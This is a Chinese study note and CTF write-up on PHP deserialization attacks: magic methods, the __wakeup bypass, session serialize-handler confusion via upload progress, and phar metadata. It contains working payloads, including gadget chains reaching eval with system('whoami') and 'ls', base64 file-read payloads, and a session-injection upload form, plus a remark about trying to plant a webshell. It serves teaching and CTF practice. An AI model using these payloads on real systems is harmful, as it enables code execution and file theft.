1. 普通的魔法方法
  2. public,private,protected属性序列化后的不同
  3. 绕过wakeup
  4. session反序列化
  5. phar反序列化

1.普通的魔法方法

__construct()

创建一个新的对象的时候会调用,不过unserialize()时不会被调用

__destruct()

对象销毁的时候被调用

__sleep()

函数serialize()调用的时候首先检查有没有这个函数,如果有则调用。这个函数的作用是删减需要进行序列化操作的的成员属性。

  1. <?php
  2. class test{
  3. public $a="123";
  4. public $b="456";
  5. public function __sleep(){
  6. return ['b'];
  7. }
  8. }
  9. $test=new test();
  10. echo serialize($test);
  11. ?>
  12. //输出:O:4:"test":1:{s:1:"b";s:3:"456";}
  13. //__sleep()只返回了成员$b,所以相当于删除了$a,$a不会进行序列互操作

__wakeup()

函数unserialize()被调用时检查有没有这个函数,有的话先执行。可以用来修改某个变量的值。

  1. <?php
  2. class test{
  3. public $a="123";
  4. public function __wakeup(){
  5. $this->a="aaaaaaaaaaa";
  6. }
  7. }
  8. $test=new test();
  9. var_dump(unserialize('O:4:"test":1:{s:1:"a";s:3:"bbb";}'));
  10. ?>
  11. //输出:object(test)#2 (1) { ["a"]=> string(11) "aaaaaaaaaaa" }
  12. //因为__wakeup()修改了$a的值

__toString

一个对象值不能直接echo 输出的,可以用var_dump()。但是如果定义好__toString()的方法,就可以直接echo了

  1. <?php
  2. class test{
  3. public $a="aaa";
  4. public $b="bbb";
  5. public $c="ccc";
  6. public function __toString(){
  7. return $this->a."-".$this->b."-".$this->c;
  8. }
  9. }
  10. $test=new test();
  11. echo $test;
  12. ?>
  13. //输出 aaa-bbb-ccc

2.public,private,protected属性序列化后的不同

  1. <?php
  2. class test{
  3. public $a="aaa";
  4. private $b="bbb";
  5. protected $c="ccc";
  6. }
  7. $test=new test();
  8. echo serialize($test);
  9. ?>

浏览器上直接输出的是: O:4:"test":3:{s:1:"a";s:3:"aaa";s:7:"testb";s:3:"bbb";s:4:"*c";s:3:"ccc";}

如果查看源代码,看来应该存在不可打印字符

输出一下十六进制

这里的十六进制00是字符串和十六进制相互转化的,注意和十进制转换区分开

public的序列化看起来是最正常的

private的序列化: \00test(test是类名)\00b(b是成员名)

protected的序列化:\00*\00c(c是成员名)

这就是提示在反序列化的时候要注意\00

3.绕过wakeup

直接拿例题来说

  1. <?php
  2. class SoFun{
  3. protected $file='index.php';
  4. function __destruct(){
  5. if(!empty($this->file)) {
  6. if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
  7. show_source(dirname (__FILE__).'/'.$this ->file);
  8. else
  9. die('Wrong filename.');
  10. }
  11. }
  12. function __wakeup(){
  13. $this-> file='index.php';
  14. }
  15. public function __toString(){
  16. return '' ;
  17. }
  18. }
  19. if (!isset($_GET['file'])){
  20. show_source('index.php');
  21. }
  22. else{
  23. $file=base64_decode($_GET['file']);
  24. echo unserialize($file);
  25. }
  26. ?> #<!--key in flag.php-->

首先明确我们要读取flag.php

问题出在倒数三四行,接收get传递的参数先base64解码,然后进行反序列化

先来看看这个__destruct()方法,为了题目的靶机目录安全用strchr函数限制了\ /,不让你任意读取文件,不过没事,我们只需要读flag.php即可

现在我们们构造poc,把$file属性的index.php改为flag.php

poc

  1. <?php
  2. class SoFun{
  3. protected $file='flag.php';
  4. }
  5. $test=new SoFun();
  6. $str=serialize($test);
  7. echo $str;
  8. echo "<br>";
  9. echo base64_encode($str);
  10. ?>
  11. //输出
  12. //O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";} \00不可打印,但自己要记住
  13. //Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

我们传入

?file=Tzo1OiJTb0Z1biI6MTp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

发现仍然显示index.php,我们忽略了__wakeup()函数。

对 O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";} 反序列化的时候,会先执行__wakeup(),这个函数在题目中是强行把$file的值变为index.php,所有无论我们传入什么$file的值永远是index.php

绕过方法: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行

O:5:"SoFun":1:{s:7:"\00*\00file";s:8:"flag.php";}

O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}

将1改为2,然后base64编码。

echo base64_encode('O:5:"SoFun":2:{s:7:"\00*\00file";s:8:"flag.php";}');

还是不行,经过查资料:

  1. <?php
  2. echo strlen("\00");
  3. echo strlen('\00');
  4. ?>
  5. //第一个输出1,第二个输出3

php中单引号对\00的处理是把它变为三个字符,这也就是为什么我们会失败的原因,\00实际上是ascii的0代表的字符,它是一个字符。用单引号把poc包含起来,所以\00失效了。

  1. <?php
  2. echo base64_encode("O:5:\"SoFun\":2:{s:7:\"\00*\00file\";s:8:\"flag.php\";}");
  3. //用双引号括起来,并且把里面的双引号用\转义,不然双引号匹配出错
  4. //输出Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93
  5. ?>

?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt93

成功读取flag

也存在另一种方法,

  1. <?php
  2. echo base64_encode('O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}');
  3. ?>
  4. //输出Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

注意到这里有一个大写的S,这里S表明\00是转义过后的字符,代表的是ascii的0,所以,即使base编码的时候单引号也可以

参考:

https://nobb.site/2016/09/13/0x22/

http://www.neatstudio.com/show-161-1.shtml

假设这道题目不进行base64编码:

  1. <?php
  2. class SoFun{
  3. protected $file='index.php';
  4. function __destruct(){
  5. if(!empty($this->file)) {
  6. if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
  7. show_source(dirname (__FILE__).'/'.$this ->file);
  8. else
  9. die('Wrong filename.');
  10. }
  11. }
  12. function __wakeup(){
  13. $this-> file='index.php';
  14. }
  15. public function __toString(){
  16. return '' ;
  17. }
  18. }
  19. if (!isset($_GET['file'])){
  20. show_source('index.php');
  21. }
  22. else{
  23. $file=$_GET['file']; //唯一变化的地方
  24. echo unserialize($file);
  25. }
  26. ?> #<!--key in flag.php-->

直接get传参数的话\00是没有办法传进去的,让服务器知道你要传递的是ascii为0的字符,就得进行url编码,浏览器会自己解码然后传给服务器,所以是%00

还有一个重要的事情,要注意php的版本,自己搜吧,我给忘了哪个版本了

4.session反序列化

session.auto_start:不用你再去自己开启session_start()了

session.save_handler:保存的session的值的形式,一般是文件

session.save_path:保存文件的目录,我这里是win下边的phpstudy搭建的

session.serialize handler:有三种,默认的是php

  1. <?php
  2. ini_set('session.serialize_handler','php');
  3. session_start();
  4. $_SESSION['value'] = 'aaaaa';
  5. ?>

访问这段代码,然后在C:\softeware\phpstudy\PHPTutorial\tmp\tmp目录,找到了sess_3ikqhdmr9jt0beid60d76u5g73这个文件,查看自己的session_id(F12看cookie):3ikqhdmr9jt0beid60d76u5g73,说明了session文件的命名规则:sess_(session_id)

查看文件内容value|s:5:"aaaaa";,value是键,|(竖线) 后边的是值

ini_set('session.serialize_handler','php');改为ini_set('session.serialize_handler','php_serialize');,再次访问,值得注意的是,版本高点才会有php_serialize这种方式

查看文件a:1:{s:5:"value";s:5:"aaaaa";}

另一个不看了,自己看去吧

问题类型一:

session.auto_start=Off

php里面默认的序列化方式是php,但是自己有时候会指定别的方式,比如php_serialize,这个时候因为序列化和反序列化的方式不同导致问题

foo1.php

  1. <?php
  2. ini_set('session.serialize_handler', 'php_serialize');
  3. session_start();
  4. $_SESSION['ryat'] = $_GET['ryat'];
  5. ?>

foo2.php

  1. <?php
  2. ini_set('session.serialize_handler', 'php');
  3. //or session.serialize_handler set to php in php.ini
  4. session_start();
  5. class ryat {
  6. var $hi;
  7. function __wakeup() {
  8. echo 'hi';
  9. }
  10. function __destruct() {
  11. echo $this->hi;
  12. }
  13. }?>

访问

foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

然后访问foo2.php发现执行了 echo "hi";

1.第一步访问foo1.php过后,tmp目录下文件内容

payload其实就是foo2.php里面的类实例化后再序列化,但是前边要加一个|(竖线)

注意文件里面 竖线左边是键,右边是值(因为foo2.php里面反序列化的方式是php)

所以当我们访问foo2.php的时候,要读取再foo1.php里面的设置的session值并且进行反序列化,所有竖线右边的就被反序列化成了一个对象

问题类型二:

题目①:

lemon博客上的一道反序列化的源代码

php.ini的配置

session.serialize_handler: php_serialize 默认的php反序列化方式与指定的不同)

session.upload_progress.cleanup :Off

session.upload_progress.enabled :On

session.auto_start :Off

源代码实际有三个文件,phpinfo.php实际上是告诉你了配置信息

index.php

  1. <?php
  2. ini_set('session.serialize_handler', 'php');
  3. //服务器反序列化使用的处理器是php_serialize,而这里使用了php,所以会出现安全问题
  4. require("./class.php");
  5. session_start();
  6. $obj = new foo1();
  7. $obj->varr = "phpinfo.php";
  8. ?>

class.php

  1. <?php
  2. highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
  3. //show_source(__FILE__);
  4. class foo1{
  5. public $varr;
  6. function __construct(){
  7. $this->varr = "index.php";
  8. }
  9. function __destruct(){
  10. if(file_exists($this->varr)){
  11. echo "<br>文件".$this->varr."存在<br>";
  12. }
  13. echo "<br>这是foo1的析构函数<br>";
  14. }
  15. }
  16. class foo2{
  17. public $varr;
  18. public $obj;
  19. function __construct(){
  20. $this->varr = '1234567890';
  21. $this->obj = null;
  22. }
  23. function __toString(){
  24. $this->obj->execute();
  25. return $this->varr;
  26. }
  27. function __desctuct(){
  28. echo "<br>这是foo2的析构函数<br>";
  29. }
  30. }
  31. class foo3{
  32. public $varr;
  33. function execute(){
  34. eval($this->varr);
  35. }
  36. function __desctuct(){
  37. echo "<br>这是foo3的析构函数<br>";
  38. }
  39. }
  40. ?>

根据问题类型一的思路,我们已经知道了有两个不同的反序列化处理方式,我们应该是先在有ini_set('session.serialize_handler', 'php_serialize');的地方写入 |(竖线)加上构造好的payload,让它写入session文件,然后我们访问index.php(反序列化方式为php)读取session文件实例化对象执行代码。可现在是,没有找到ini_set('session.serialize_handler', 'php_serialize'),并且最重要的是没有找到unserialize()我们能够控制输入的地方。

这里实际上用到了另外一个思路:session.upload_progress.enabled :On

上传一个文件,php会把这次上传文件的信息保存到session文件里面,文件的信息是我们可以控制的,所以通过这个把payload写入session文件,然后访问index.php(php处理器来反序列化session文件),原理和 问题一 是一样的。

payload:

  1. <?php
  2. highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
  3. //show_source(__FILE__);
  4. class foo1{
  5. public $varr;
  6. function __construct(){
  7. $this->varr = new foo2();
  8. //new一个foo2的对象
  9. }
  10. function __destruct(){
  11. if(file_exists($this->varr)){
  12. echo "<br>文件".$this->varr."存在<br>";
  13. }
  14. echo "<br>这是foo1的析构函数<br>";
  15. }
  16. }
  17. class foo2{
  18. public $varr;
  19. public $obj;
  20. function __construct(){
  21. $this->varr = '1234567890';
  22. $this->obj = new foo3();
  23. //new一个foo3的对象
  24. }
  25. function __toString(){
  26. $this->obj->execute();
  27. return $this->varr;
  28. }
  29. function __desctuct(){
  30. echo "<br>这是foo2的析构函数<br>";
  31. }
  32. }
  33. class foo3{
  34. public $varr="system('whoami');";
  35. //要执行的东西
  36. function execute(){
  37. eval($this->varr);
  38. }
  39. function __desctuct(){
  40. echo "<br>这是foo3的析构函数<br>";
  41. }
  42. }
  43. $test=new foo1();
  44. echo serialize($test);
  45. //输出:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:17:"system('whoami');";}}}
  46. //还有执行了whoami的命令:desktop-2akj5ip\whoami_root
  47. 这是foo1的析构函数
  48. ?>

来看一下这个上传文件保存的session是啥样的。

html表单,我们要进行抓包,然后修改具体的值

  1. <form action="http://127.0.0.1/phpinfo.php" method="POST" enctype="multipart/form-data">
  2. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  3. <input type="file" name="file" />
  4. <input type="submit" />
  5. </form>
  6. #这里index.php和phpinfo.php都可以,存在session_start()就可以,因为我们需要的是php_seralize这个默认方式来序列化数据,不过我这里传到index.php发现并没有生成session文件,phpinfo.php却可以,再说再说。

抓包,可以利用的地方是表单value的值和文件名字,这两处选一出就可以。

还有这个cookie,一定要和你访问的cookie对应起来,因为写入读取session文件都直接和你的cookie的值有关系。

传上构造的payload,文件名字和内容记得胡乱写一下。可以看到,payload也写进去了,现在就可以用php(三种方式之一,竖线为分隔符)来反序列化了。这个时候访问index.php(ini_set('session.serialize_handler', 'php'))就可以了。

题目②:jarvis-phpinfo

  1. <?php
  2. //A webshell is wait for you
  3. ini_set('session.serialize_handler', 'php');
  4. session_start();
  5. class OowoO
  6. {
  7. public $mdzz;
  8. function __construct()
  9. {
  10. $this->mdzz = 'phpinfo();';
  11. }
  12. function __destruct()
  13. {
  14. eval($this->mdzz);
  15. }
  16. }
  17. if(isset($_GET['phpinfo']))
  18. {
  19. $m = new OowoO();
  20. }
  21. else
  22. {
  23. highlight_string(file_get_contents('index.php'));
  24. }
  25. ?>

get传参可以执行phpinfo(),然后观察phpinfo的内容。

发现php.ini的设置

session.auto_start Off Off
session.upload_progress.enabled On On
session.serialize_handler php php_serialize
session.upload_progress.cleanup Off Off

发现符合我们利用的条件,先构造poc:

  1. <?php
  2. class OowoO
  3. {
  4. public $mdzz;
  5. function __construct()
  6. {
  7. $this->mdzz = 'system("ls");';
  8. }
  9. function __destruct()
  10. {
  11. eval($this->mdzz);
  12. }
  13. }
  14. echo serialize(new OowoO());
  15. ?>

构造的上传文件表单

  1. <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
  2. <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  3. <input type="file" name="file" />
  4. <input type="submit" />
  5. </form>
  6. #上传的时候序列化的方式是默认方式php_serialize

上传的时候注意cookie一定要是一样的哟。

发现没有反应,本地复现成功,就想会不会是禁用了函数或者权限比较低,可以思考一下,这里和有没有回显是没有关系的哟。

不过有几个函数:

print_r (),scandir(),var_dump(),glob(),file_get_contents(),rename(),unlink(),rmdir(),fwirte(),fopen()可以试一下(我想往里面写一个小马的时候才发现重命名,删除文件,写文件的函数不行,但是assert却是可以的)

poc改为$this->mdzz = "print_r(scandir('./'));";

先来看下当前目录有啥东西:

发现不是当前目录,搞来搞去,发现.(dot)没法用,所以只好用绝对目录,看了下phpinfo.php,发现文件在/opt/lampp/htdocs/下边,构造$this->mdzz = "print_r(scandir('/opt/lampp/htdocs/'));";

直接访问flag文件是空白的,根据这个名字可能是故意不想让你看到,所以利用file_get_contents()来读文件

$this->mdzz = "print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";

5.phar反序列化

phar以我自己的理解就是,将常用的文件打的一个包,然后需要这些文件的时候直接include这个phar包,直接从包里调用文件或者里面的函数,相比起直接包含.php文件更方便。

看一下phar的格式

stub:

格式是xxx,可以把这个理解为文件头格式,php通过这个格式才能知道这是phar文件,xxx的地方是随意的

a manifest describing the contents:

被打包进来的文件的属性,权限等内容会被反序列化后存储在meta-data(用户自己设置)

the file contents:

被打包进来的文件的内容

signature:

对文件的签名,在文件的结尾

我们先来看一下怎么打包生成phar

首先php.ini里面的phar.readonly => On要改为Off,这样才可以创生成phar

在test目录下有两个文件

test.php

  1. <?php
  2. class a{
  3. public function a(){
  4. echo "我是a的构造函数";
  5. }
  6. }
  7. ?>

phar.php

  1. <?php
  2. //new一个phar对象
  3. $phar = new Phar('test.phar');
  4. //把当前目录下的东西都打包
  5. $phar->buildFromDirectory(__DIR__);
  6. //setStub是必须设置的,这里设置了一个最简单的
  7. $phar->setStub('<?php __HALT_COMPILER(); ?>');
  8. //生成test.phar文件
  9. $phar->stopBuffering();
  10. ?>

test目录下多了一个test.phar,放winhex里面看一下:

利用phar包

test目录下新建1.php

  1. <?php
  2. require_once "test.phar";
  3. require_once "phar://test.phar/test.php";
  4. new a();
  5. //输出 '我是a的构造函数'
  6. ?>

访问发现确实引用了test.php。

漏洞利用点

我们上边的过程没有用到

a manifest describing the contents:

被打包进来的文件的属性,权限等内容会被反序列化后存储在meta-data(用户自己设置)

看新的代码

phar.php

  1. <?php
  2. class a{
  3. public $test="test";
  4. function __wakeup(){
  5. echo "我被反序列化了";
  6. }
  7. }
  8. //new一个phar对象
  9. $phar = new Phar('test.phar');
  10. //把当前目录下的东西都打包
  11. $phar->buildFromDirectory(__DIR__);
  12. //setStub是必须设置的,这里设置了一个最简单的
  13. $phar->setStub('<?php __HALT_COMPILER(); ?>');
  14. //****************************
  15. //自己定义的metadata,会序列化写入test.phar
  16. $phar->setMetadata(new a());
  17. //****************************
  18. //生成test.phar文件
  19. $phar->stopBuffering();
  20. ?>

具体phar的方法可以看 https://www.php.net/manual/zh/class.phar.php

查看内容,发现,果然序列化后存入了test.phar文件里面

漏洞在于,当某些系统函数去操作phar协议控制的文件时候,metadata里的东西会反序列化。

在test目录下便随便新建文件,然后访问。

  1. <?php
  2. class a{
  3. public $test="test";
  4. function __wakeup(){
  5. echo "我被反序列化了";
  6. }
  7. }
  8. require_once "test.phar";
  9. //file_put_contents(phar://phar/test.php);
  10. ?>
  11. //访问后输出 '我被反序列化了',证明存储在metadata里面的数据被反序列化了

图片直接复制连接过来的 https://paper.seebug.org/680/

发现require,require_once,include,include_once也是可以的,又偶然在 https://blog.zsxsoft.com/post/38 看到,与文件有关的函数都是可以的。

php反序列化笔记的更多相关文章

  1. WebAPI调用笔记 ASP.NET CORE 学习之自定义异常处理 MySQL数据库查询优化建议 .NET操作XML文件之泛型集合的序列化与反序列化 Asp.Net Core 轻松学-多线程之Task快速上手 Asp.Net Core 轻松学-多线程之Task(补充)

    WebAPI调用笔记   前言 即时通信项目中初次调用OA接口遇到了一些问题,因为本人从业后几乎一直做CS端项目,一个简单的WebAPI调用居然浪费了不少时间,特此记录. 接口描述 首先说明一下,基于 ...

  2. CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记

    weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...

  3. C#序列化与反序列化学习笔记

    本笔记摘抄自:https://www.cnblogs.com/maitian-lf/p/3670570.html,记录一下学习过程以备后续查用. 序列化是把一个内存中的对象的信息转化成一个可以持久化保 ...

  4. GSON使用笔记(3) -- 如何反序列化出List

    GSON使用笔记(3) -- 如何反序列化出List 时间 2014-06-26 17:57:06  CSDN博客原文  http://blog.csdn.net/zxhoo/article/deta ...

  5. .net学习笔记--序列化与反序列化

    序列化其实就是将一个对象的所有相关的数据保存为一个二进制文件(注意:是一个对象) 而且与这个对象相关的所有类型都必须是可序列化的所以要在相关类中加上 [Serializable]特性 对象类型包括:对 ...

  6. c#中对json数据的序列化和反序列化(笔记)

    今天遇到在后台中要获取json格式数据里的某些值,网上查了些资料: string jsonstr = _vCustomerService.LoadCustomerbyNumTotalData(quer ...

  7. Java基础知识强化之IO流笔记65:序列化流 和 反序列化流

    1. 什么是 序列化 和 反序列化 ?     序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程.比如转化为二进制.xml.json等的过程. 在序列化期间,对 ...

  8. Java学习笔记——IO操作之对象序列化及反序列化

    对象序列化的概念 对象序列化使得一个程序可以把一个完整的对象写到一个字节流里面:其逆过程则是从一个字节流里面读出一个事先存储在里面的完整的对象,称为对象的反序列化. 将一个对象保存到永久存储设备上称为 ...

  9. Java学习笔记——序列化和反序列化

    寒雨连江夜入吴,平明送客楚山孤. 洛阳亲友如相问,一片冰心在玉壶. --芙蓉楼送辛渐 持久化数据的第一种方式.在序列化之前也可以把数据打散逐行存储在文件中,然后在逐行读取. 比如定Student类 用 ...

随机推荐

  1. ffmpeg源码分析之媒体打开过程

    int avformat_open_input(AVFormatContext **ps,           const char *filename,           AVInputForma ...

  2. LeetCode 腾讯精选50题--只出现一次数字

    事先说明,如果不是评论区的大牛一语点破,我可能还会陷在死胡同里出不来,这道题其实很简单,利用了任何一个学过二进制的人都了解的定理,即: 1. 异或操作满足交换律 : a ^ b ^ c 等价于 a ^ ...

  3. $.proxy的使用

    $.proxy()是jquery的一个方法.是一个改变this指向的方法. 在某些情况下,我们调用Javascript函数时候,this指针并不一定是我们所期望的那个.例如: //正常的this使用 ...

  4. Node.js学习(2)-使用模板引擎art-template

    node 安装cnpm i -S art-template 加载require('art-template') template.render接收的是字符串

  5. vue项目之购物车

    简单的完成一个购物车项目,满足基本功能 安装创建好项目以后需要引入安装elementui和vuex 项目目录如下:(home.vue为主页面) ### ~home.vue <template&g ...

  6. Vue介绍:vue导读2

    一.实例中的成员 二.高级指令 三.组件初识 一.实例中的成员 # 计算computed <!DOCTYPE html> <html> <head> <met ...

  7. jenkins 持续集成笔记1 --- 安装配置

    jenkins 安装 先安装Tomcat,然后下载jenkins war包,启动Tomcat即可 wget https://mirrors.huaweicloud.com/apache/tomcat/ ...

  8. linux——实际工作中如何使用linux

    实际工作中,linux系统都不会在我们自己的电脑上,linux系统安装在机房的服务器上,我们操作linux不可能跑到机房去,所以我们需要有一个工具,能在公司通过网络远程连接到机房的linux服务器上 ...

  9. java与JSON

    XML 格式数据极其的冗长.因为每个离散的数据片段需要大量的 XML 结构,所有有效 的数据的比例非常低.XML 语法还有轻微的模糊.还有,解析 XML 是非常占程序员的精力的.你需要提前了解详细的结 ...

  10. GNU Radio下QT GUI Tab Widget的使用方法

    期望显示出的效果: 即将要显示的图放在各自的标签页中. 整体框图: 具体设置: QT GUI Tab Widget的设置: 其中 ID改为自己想改的,这里我写的是display GUI Hint所代表 ...